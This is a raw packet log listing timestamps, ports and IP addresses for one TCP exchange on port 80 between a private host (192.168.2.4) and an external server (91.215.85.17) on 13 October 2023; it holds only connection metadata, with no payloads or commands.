Oct 13, 2023 16:05:55.581098080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581127882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581183910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581224918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581316948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581371069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581415892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581449986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581480980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581526041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581573009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581588984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581631899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581633091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581749916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581794977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581810951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581979036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582021952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582036018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582170010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582217932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582243919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582298040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582313061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582346916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582397938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582418919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582456112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582509995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582557917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582560062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582607031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582657099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582658052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582707882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582755089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582763910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582804918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582850933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.582890034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582906961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.582952976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583112001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583131075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583163023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583177090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583230019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583281040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583286047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583352089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583400011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583425999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583501101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583544970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583564997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583627939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583676100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583684921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583823919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583851099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583870888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.583905935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.583950043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.584041119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.584075928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.584121943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.584172964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.584208965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.584253073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.584265947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.584321022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.584367990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.893357992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893405914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893445015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893481016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893481970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.893521070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893547058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.893614054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893650055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893666029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.893719912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893755913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893769026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.893824100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893874884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.893889904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.893990993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894042015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.894076109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894145012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894196033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.894258022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894371986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894423962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.894475937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894545078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894599915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.894628048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894695997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894731998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894743919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.894825935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894877911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.894903898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894939899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.894990921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895006895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895111084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895163059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895196915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895267010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895313978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895318031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895421028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895472050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895493031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895535946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895580053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895617008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895633936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895678997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895694971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895788908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895806074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895833969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895927906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.895976067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.895981073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896055937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896106958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.896142960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896258116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896306992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.896342039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896394968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896441936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.896455050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896526098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896572113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.896668911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896800995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896846056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.896857977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896889925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.896936893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.896971941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897002935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897047043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897059917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897142887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897173882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897190094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897242069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897289991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897317886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897349119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897396088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897445917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897510052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897536993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897559881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897595882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897641897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897665024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897725105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897773981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897797108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897866964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897911072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.897927046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.897969007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898044109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898055077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.898089886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898134947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.898576975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898647070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898698092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.898838997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898914099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.898961067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899020910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899101019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899148941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899220943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899303913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899350882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899363995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899413109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899462938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899482012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899528027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899575949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899604082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899635077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899679899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899693012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899774075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899821997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.899832010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899895906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899945974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.899955034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900036097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900080919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900118113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900209904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900257111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900291920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900365114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900429010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900444984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900542021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900588036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900604963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900645971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900661945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900691986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900774002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900823116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900834084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.900958061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.900974989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901007891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.901038885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901084900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.901209116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901566982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901617050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.901633024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901705027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901751041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.901756048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901817083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901865959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.901891947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.901945114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902002096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.902024984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902090073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902153969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.902179003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902237892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902287006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.902337074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902466059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902514935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.902518988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902595043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902647972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.902699947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902888060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.902944088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.902981043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903057098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903104067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.903134108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903228998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903283119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.903310061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903569937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903620958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.903743982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903830051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903882027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.903888941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.903961897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904011011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904014111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904107094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904158115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904194117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904277086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904335022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904370070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904447079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904500008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904505014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904553890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904599905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904613018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904685974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904735088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904751062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904812098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904861927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.904882908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904932976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.904988050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905038118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905116081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905175924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905245066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905297995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905349016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905366898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905442953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905495882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905518055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905559063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905611992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905647039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905708075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905761003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905761003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905867100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.905921936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.905941963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906054020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906104088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.906153917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906200886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906254053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.906282902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906410933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906471968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.906476974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906544924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906599998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.906637907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906717062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.906765938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.906933069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907036066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907087088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.907097101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907215118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907265902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.907288074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907361984 CEST	80	49762	91.215.85.17	192.168.2.4
